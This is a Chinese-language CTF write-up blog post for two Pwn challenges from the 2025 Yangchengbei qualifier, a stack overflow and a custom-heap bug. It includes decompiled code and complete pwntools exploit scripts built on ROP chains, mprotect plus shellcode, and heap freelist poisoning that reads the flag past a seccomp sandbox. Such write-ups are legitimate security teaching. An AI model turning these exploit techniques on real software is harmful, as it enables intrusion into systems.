2442 words
12 minutes
Write-ups: 2025 年「羊城杯」网络安全大赛初赛 [本科院校组]
2025-10-11
2025-10-12

stack#

Information#

  • Category: Pwn
  • Points: 500

Description#

听说你很喜欢栈溢出?

Write-up#

虽然逻辑很简单,但是还是先让 MCP 先分析一下逻辑,重命名一下变量名。得到如下程序:

__int64 init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
*(_QWORD *)&random_seed = time(0);
srand(random_seed);
for ( n2 = 0; n2 <= 2; n2 = rand() % 5 )
;
main_addr_multiplied = (_QWORD)main * n2;
global_buffer = malloc(0x1000u);
sub_1396();
memset(global_buffer, 0, 0x2000u);
global_buffer = (char *)global_buffer - 672;
buffer_ptr_offset = (__int64)global_buffer + 256;
*((_QWORD *)global_buffer + 32) = (char *)global_buffer + 4096;
*(_QWORD *)(buffer_ptr_offset + 8) = sub_132E;
counter_n2 = 0;
return 0;
}

上面这个 init 函数里的 sub_1396 开了沙箱,禁用了 openexecve,第一反应是打 orw 。可以用 openat 代替 open,然后 sendfile 可以 readwrite 一把梭。

PS: 一开始我还注意到程序有 syscall gadget,结合 read 我觉得打 SROP 也可以,不过想着可能还需要栈迁移?好久没做过 SROP 了不知道行不行,就用上面那个看上去更稳妥的办法了。

__int64 vuln()
{
puts("Welcome to YCB2025!");
puts("Good luck!");
read(0, global_buffer, 0x2000u);
if ( (unsigned __int64)counter_n2 > 2 )
{
puts("Bye~");
exit(0);
}
++counter_n2;
return 0;
}

下面有个后门函数,MCP 重命名了变量名叫 main_addr_multiplied,盲猜这个地址保存的就是 main 函数地址乘以一个随机数了,可以先返回到这里泄漏出来然后随便除几个数字试试看能不能得到 main 的地址,也可以自己看伪代码,判断一下可能除了什么数,我当时是猜的,因为数字很小,随便试了下就出来了。

// positive sp value has been detected, the output may be wrong!
__int64 sub_1357()
{
printf("magic number:%lld\n", main_addr_multiplied);
return vuln();
}

后来研究了一下,发现是在 init 里设置的乘什么数,结果范围是 [3,4][3, 4]

for ( n2 = 0; n2 <= 2; n2 = rand() % 5 )
;
main_addr_multiplied = (_QWORD)main * n2;

由于没有控制 rdi 的 gadgets, 得去看看程序里面有没有可以利用的汇编片段,发现下面这个函数比较奇怪,使用了 stdout 的地址赋值,一般情况下 stdout 里面保存的是 libc 地址。

FILE **sub_12C9()
{
FILE **result; // rax
result = (FILE **)qword_4090;
if ( !qword_4090 )
{
qword_4090 = 1;
p_stdout = (__int64)&stdout;
return &stdout;
}
return result;
}

再看一下它的汇编:

.text:00000000000012C9 ; FILE **sub_12C9()
.text:00000000000012C9 sub_12C9 proc near
.text:00000000000012C9 ; __unwind {
.text:00000000000012C9 endbr64
.text:00000000000012CD sub rsp, 8
.text:00000000000012D1 mov rax, cs:qword_4090
.text:00000000000012D8 test rax, rax
.text:00000000000012DB jnz short loc_1329
.text:00000000000012DD mov cs:qword_4090, 1
.text:00000000000012E8 lea rax, stdout
.text:00000000000012EF mov cs:p_stdout, rax
.text:00000000000012F6 mov rax, cs:p_stdout
.text:00000000000012FD lea rdx, stdout ; rtld_fini
.text:0000000000001304 cmp rax, rdx
.text:0000000000001307 jnz short loc_1312
.text:0000000000001309 mov rax, cs:p_stdout
.text:0000000000001310 jmp short loc_1329
.text:0000000000001312 ; ---------------------------------------------------------------------------
.text:0000000000001312
.text:0000000000001312 loc_1312: ; CODE XREF: sub_12C9+3E↑j
.text:0000000000001312 mov cs:qword_4090, 0FFFFFFFFFFFFFFFFh
.text:000000000000131D call start
.text:0000000000001322 ; ---------------------------------------------------------------------------
.text:0000000000001322 mov eax, 0
.text:0000000000001327 jmp short $+2
.text:0000000000001329 ; ---------------------------------------------------------------------------
.text:0000000000001329
.text:0000000000001329 loc_1329: ; CODE XREF: sub_12C9+12↑j
.text:0000000000001329 ; sub_12C9+47↑j ...
.text:0000000000001329 add rsp, 8
.text:000000000000132D retn
.text:000000000000132D ; } // starts at 12C9

上面给 rax, rdx 都赋值了 stdout 地址,所以 cmp 不进 jnz,直接返回。

泄漏了这个地址就可以去泄漏 libc 地址了,看到有 puts,那想办法把 rax 里面的值给到 rdi 然后调用 puts 就行。

注意到 puts 的传参是用的 rax,此外,程序有多处 puts 的交叉引用,找一个能用的就行:

.text:000000000000161F ; __int64 vuln()
.text:000000000000161F vuln proc near ; CODE XREF: sub_1357+32↑p
.text:000000000000161F ; main+17↓p
.text:000000000000161F ; __unwind {
.text:000000000000161F endbr64
.text:0000000000001623 push rbp
.text:0000000000001624 lea rax, aWelcomeToYcb20 ; "Welcome to YCB2025!"
.text:000000000000162B mov rdi, rax ; s
.text:000000000000162E call _puts
.text:0000000000001633 lea rax, aGoodLuck ; "Good luck!"
.text:000000000000163A mov rdi, rax ; s
.text:000000000000163D call _puts
.text:0000000000001642 mov rax, cs:global_buffer
.text:0000000000001649 mov edx, 2000h ; nbytes
.text:000000000000164E mov rsi, rax ; buf
.text:0000000000001651 mov edi, 0 ; fd
.text:0000000000001656 call _read
.text:000000000000165B mov rax, cs:counter_n2
.text:0000000000001662 cmp rax, 2
.text:0000000000001666 jbe short loc_1681
.text:0000000000001668 lea rax, aBye_0 ; "Bye~"
.text:000000000000166F mov rdi, rax ; s
.text:0000000000001672 call _puts
.text:0000000000001677 mov edi, 0 ; status
.text:000000000000167C call _exit

上面这个 puts 执行完还能再执行一次 read,这次构造 mprotect 设置 bss 可执行,然后再来一个 read 把 shellcode 读到 bss,然后返回到 bss 就好了。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
ROP,
args,
asm,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./Stack_Over_Flow"
HOST, PORT = "45.40.247.139", 25201
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc.so.6")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"A" * 0x108,
b"\x5f",
)
# raw_input("DEBUG")
target.sendafter(b"Good luck!", payload)
target.recvuntil(b"magic number:")
elf.address = (int(target.recvline().strip()) // 3) - 0x16B0
target.success(f"pie: {hex(elf.address)}")
control_rdi = elf.address + 0x12E8
payload = flat(
b"A" * 0x108,
control_rdi,
0,
elf.address + 0x162B, # puts
)
# raw_input("DEBUG")
target.sendafter(b"Good luck!", payload)
target.recvline()
libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B780
target.success(f"libc: {hex(libc.address)}")
rop = ROP(libc)
payload = flat(
b"A" * 0x108,
# mprotect
libc.address + 0x378DF, # nop; ret
libc.address + 0x378DF, # nop; ret
rop.rdi.address,
elf.address + 0x4000,
rop.rsi.address,
0x1337,
rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
0x7,
0,
rop.rax.address,
0xA,
rop.find_gadget(["syscall", "ret"])[0],
# read
rop.rdi.address,
0,
rop.rsi.address,
elf.bss() + 0x500,
rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
0x1337,
0,
rop.rax.address,
0,
rop.find_gadget(["syscall", "ret"])[0],
elf.bss() + 0x500,
)
raw_input("DEBUG")
target.sendafter(b"Good luck!", payload)
payload = asm("""
mov rax, 0x67616c66
push rax
xor edi, edi
sub edi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
mov eax, 0x101
syscall
mov edi, 1
mov esi, 3
push 0
mov rdx, rsp
mov r10, 0x1337
mov rax, 0x28
syscall
""")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()

Flag#

DASCTF{86480848618847093058521417023694}

malloc#

Information#

  • Category: Pwn
  • Points: 500

Description#

我再也不做堆了

Write-up#

题目实现了自定义的 mallocfree,在 create 函数中,可以申请的 chunk_idx 的最大值是 0x10chunk_pointers 数组只能存储 16 个 QWORD(索引 0-15)。调试发现,当 chunk_idx0x10 时,malloc 会破坏 g_chunk_sizes[0]

这里简单贴一下几个函数的逆向结果吧:

__int64 init()
{
int i; // [rsp+4h] [rbp-Ch]
__int64 seccomp_ctx; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
g_arena_top = (__int64)&g_heap_base;
g_heap_size_limit = 4096;
g_current_heap_offset = 4096;
for ( i = 0; i <= 15; ++i )
g_freelists[i] = 0;
seccomp_ctx = seccomp_init(2147418112);
seccomp_rule_add(seccomp_ctx, 0, 59, 0);
seccomp_rule_add(seccomp_ctx, 0, 322, 0);
return seccomp_load(seccomp_ctx);
}
unsigned __int64 create()
{
unsigned int chunk_idx_1; // ebx
char newline_char; // [rsp+Fh] [rbp-21h] BYREF
unsigned int chunk_idx; // [rsp+10h] [rbp-20h] BYREF
unsigned int chunk_size; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-18h]
canary = __readfsqword(0x28u);
puts("Index");
__isoc99_scanf("%u%c", &chunk_idx, &newline_char);
if ( chunk_idx <= 0x10
&& (puts("size"), __isoc99_scanf("%u%c", &chunk_size, &newline_char), chunk_size <= 0x70)
&& chunk_size > 0xF )
{
chunk_idx_1 = chunk_idx;
*((_QWORD *)&g_heap_base + chunk_idx_1 + 512) = do_malloc(chunk_size);
*((_QWORD *)&g_heap_base + chunk_idx + 528) = chunk_size;
puts("Success");
}
else
{
puts("Invalid");
}
return canary - __readfsqword(0x28u);
}
__int64 __fastcall do_malloc(unsigned int requested_size)
{
signed int aligned_size; // [rsp+1Ch] [rbp-14h]
unsigned int remainder_size; // [rsp+20h] [rbp-10h]
int freelist_idx; // [rsp+24h] [rbp-Ch]
__int64 allocated_chunk; // [rsp+28h] [rbp-8h]
__int64 g_arena_top; // [rsp+28h] [rbp-8h]
remainder_size = requested_size & 0xF;
if ( remainder_size > 8 )
aligned_size = requested_size - remainder_size + 32;
else
aligned_size = requested_size - remainder_size + 16;
freelist_idx = aligned_size / 16;
if ( g_freelists[aligned_size / 16] )
{
allocated_chunk = g_freelists[freelist_idx];
g_freelists[freelist_idx] = *(_QWORD *)(allocated_chunk + 16);
*(_BYTE *)allocated_chunk = 1;
return allocated_chunk + 16;
}
else
{
if ( aligned_size >= (unsigned __int64)g_heap_size_limit )
{
puts("malloc(): corrupted top chunks");
exit(0);
}
g_arena_top = g_arena_top;
*(_BYTE *)g_arena_top = 1;
*(_DWORD *)(g_arena_top + 8) = aligned_size;
g_arena_top += aligned_size;
g_heap_size_limit -= aligned_size;
*(_DWORD *)(g_arena_top + 8) = g_heap_size_limit;
return g_arena_top + 16;
}
}
unsigned __int64 delete()
{
char newline_char; // [rsp+3h] [rbp-Dh] BYREF
unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
puts("Index");
__isoc99_scanf("%u%c", &chunk_idx, &newline_char);
if ( chunk_idx <= 0x10 )
{
do_free(chunk_idx);
*((_QWORD *)&g_heap_base + chunk_idx + 528) = 0;
puts("Success");
}
else
{
puts("Invalid index");
}
return canary - __readfsqword(0x28u);
}
__int64 __fastcall do_free(unsigned int chunk_idx)
{
int chunk_size_val; // kr08_4
__int64 chunk_header_ptr_2; // rax
int freelist_walk_count; // [rsp+14h] [rbp-1Ch]
__int64 chunk_header_ptr_1; // [rsp+20h] [rbp-10h]
_BYTE *chunk_header_ptr; // [rsp+28h] [rbp-8h]
chunk_header_ptr = (_BYTE *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 16LL);
chunk_size_val = *(_DWORD *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 8LL);
**((_QWORD **)&g_heap_base + chunk_idx + 512) = g_freelists[chunk_size_val / 16];
g_freelists[chunk_size_val / 16] = chunk_header_ptr;
*chunk_header_ptr = 0;
freelist_walk_count = 0;
chunk_header_ptr_2 = *(_QWORD *)(g_freelists[chunk_size_val / 16] + 16LL);
chunk_header_ptr_1 = chunk_header_ptr_2;
while ( freelist_walk_count <= 13 && chunk_header_ptr_1 )
{
if ( (_BYTE *)chunk_header_ptr_1 == chunk_header_ptr )
{
puts("free(): double free or corruption (fast)");
exit(0);
}
chunk_header_ptr_2 = *(_QWORD *)(chunk_header_ptr_1 + 16);
chunk_header_ptr_1 = chunk_header_ptr_2;
++freelist_walk_count;
}
return chunk_header_ptr_2;
}
unsigned __int64 edit()
{
char newline_char; // [rsp+Fh] [rbp-11h] BYREF
unsigned int chunk_idx; // [rsp+10h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+14h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
puts("Index");
__isoc99_scanf("%u%c", &chunk_idx, &newline_char);
if ( chunk_idx <= 0x10
&& *((_QWORD *)&g_heap_base + chunk_idx + 512)
&& (puts("size"),
__isoc99_scanf("%u%c", nbytes, &newline_char),
nbytes[0] <= *((__int64 *)&g_heap_base + chunk_idx + 528)) )
{
read(0, *((void **)&g_heap_base + chunk_idx + 512), nbytes[0]);
puts("Success");
}
else
{
puts("Invalid");
}
return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u);
}
unsigned __int64 show()
{
char newline_char; // [rsp+3h] [rbp-Dh] BYREF
unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
puts("Index");
__isoc99_scanf("%u%c", &chunk_idx, &newline_char);
if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) )
{
puts(*((const char **)&g_heap_base + chunk_idx + 512));
puts("Success");
}
else
{
puts("Invalid index");
}
return canary - __readfsqword(0x28u);
}
.data:0000000000004008 ; void *off_4008
.data:0000000000004008 off_4008 dq offset off_4008 ; DATA XREF: sub_1200+1B↑r
.data:0000000000004008 ; .data:off_4008↓o
.data:0000000000004010 align 20h
.data:0000000000004020 g_arena_top dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init+6D↑w
.data:0000000000004020 ; init+7F↑r ...
.data:0000000000004028 g_heap_size_limit dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init+74↑w
.data:0000000000004028 ; do_malloc+D1↑r ...
.data:0000000000004030 align 20h
.data:0000000000004040 ; _QWORD g_freelists[16]
.data:0000000000004040 g_freelists dq 0FFFFFFFFFFFFFFFFh, 0Fh dup(0)
.data:0000000000004040 ; DATA XREF: init+A6↑o
.data:0000000000004040 ; do_malloc+56↑o ...
.data:0000000000004040 _data ends
.data:0000000000004040

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
ROP,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./pwn_patched"
HOST, PORT = "45.40.247.139", 17742
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc.so.6")
def menu(option):
target.recvuntil(b"=======================")
target.sendline(str(option).encode())
def create(idx, size):
menu(1)
target.sendlineafter(b"Index", str(idx).encode())
target.sendlineafter(b"size", str(size).encode())
target.recvlines(2)
def delete(idx):
menu(2)
target.sendlineafter(b"Index", str(idx).encode())
target.recvlines(2)
def edit(idx, size, data):
menu(3)
target.sendlineafter(b"Index", str(idx).encode())
target.sendlineafter(b"size", str(size).encode())
target.sendline(data)
def show(idx):
menu(4)
target.sendlineafter(b"Index", str(idx).encode())
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
create(0, 0x70)
create(1, 0x70)
delete(1)
delete(0)
# raw_input("DEBUG")
show(0)
target.recvline()
elf.address = int.from_bytes(target.recvline().strip(), "little") - 0x5280
stderr = elf.address + 0x40E0
arr = elf.address + 0x6200
target.success(f"pie: {hex(elf.address)}")
target.success(f"arr: {hex(arr)}")
target.success(f"stderr: {hex(stderr)}")
create(0, 0x70)
create(1, 0x70)
delete(0)
delete(1)
# raw_input("DEBUG")
create(0x10, 0x70)
edit(0, 0x10, flat(stderr - 0x40))
# raw_input("DEBUG")
create(0, 0x70)
create(2, 0x70)
edit(2, 0x10, b"A" * 15)
show(2)
target.recvlines(2)
libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B780
target.success(f"libc: {hex(libc.address)}")
create(3, 0x70)
delete(0)
delete(3)
create(0x10, 0x70)
edit(0, 0x10, flat(libc.sym["environ"] - 0x20))
create(0, 0x70)
create(4, 0x70)
edit(4, 0x10, b"A" * 15)
show(4)
target.recvline()
target.recvline()
stack = int.from_bytes(target.recvline().strip(), "little")
ret = stack - 0x140
target.success(f"stack: {hex(stack)}")
target.success(f"ret: {hex(ret)}")
create(5, 0x70)
delete(0)
delete(5)
create(0x10, 0x70)
edit(0, 0x10, flat(ret - 0xA0))
create(5, 0x70)
create(0, 0x70)
create(0x10, 0x70)
edit(5, 0x10, b"flag\x00\x00\x00\x00")
flag = elf.address + 0x5210
rop = ROP(libc)
payload = flat(
# open
rop.rax.address,
2,
rop.rdi.address,
flag,
rop.rsi.address,
0,
rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
0,
0,
rop.find_gadget(["syscall", "ret"])[0],
# read
rop.rax.address,
0,
rop.rdi.address,
3,
rop.rsi.address,
flag,
rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
0x100,
0,
rop.find_gadget(["syscall", "ret"])[0],
# write
rop.rax.address,
1,
rop.rdi.address,
1,
rop.rsi.address,
flag,
rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
0x100,
0,
rop.find_gadget(["syscall", "ret"])[0],
)
raw_input("DEBUG")
edit(
0,
0x200,
b"A" * 0x60 + payload,
)
target.interactive()
if __name__ == "__main__":
main()

Flag#

DASCTF{21569291958017220875601963459603}

赛后 bb#

感觉这比赛题很难评啊,一道 stack 一道 malloc,两道题没一个能 patch 后在我机器上跑的……一直报错 ./libc.so.6: version 'GLIBC_ABI_DT_RELR' not found (required by /usr/lib/libseccomp.so.2),怀疑是我 glibc 版本太高了的原因?问运维,告诉我好像全场就我一个人不能跑附件,我???????被制裁了(

后来光折腾 docker pwn 环境就花了好几个小时,比赛开始 5 小时后我才刚把题目跑起来,上午问运维要 Dockerfile 下午才拿到,最后发现也没啥用,还得配虚拟机。玛德,这个世界对 archlinux 用户充满了恶意,最后我是用 pwndocker + 零配置的 vim 写的这两题的 exp,别提有多痛苦了……

另外,国内的比赛都是 p 神争霸赛吗,看麻了,非人 vm 题短时间内 30 多解,哥们用 MCP 逆向都逆半天没逆出来,逆向完了还得看半天,怎么做到的?……

Write-ups: 2025 年「羊城杯」网络安全大赛初赛 [本科院校组]
https://cubeyond.net/posts/write-ups/2025-羊城杯/
Author
CuB3y0nd
Published at
2025-10-11
License
CC BY-NC-SA 4.0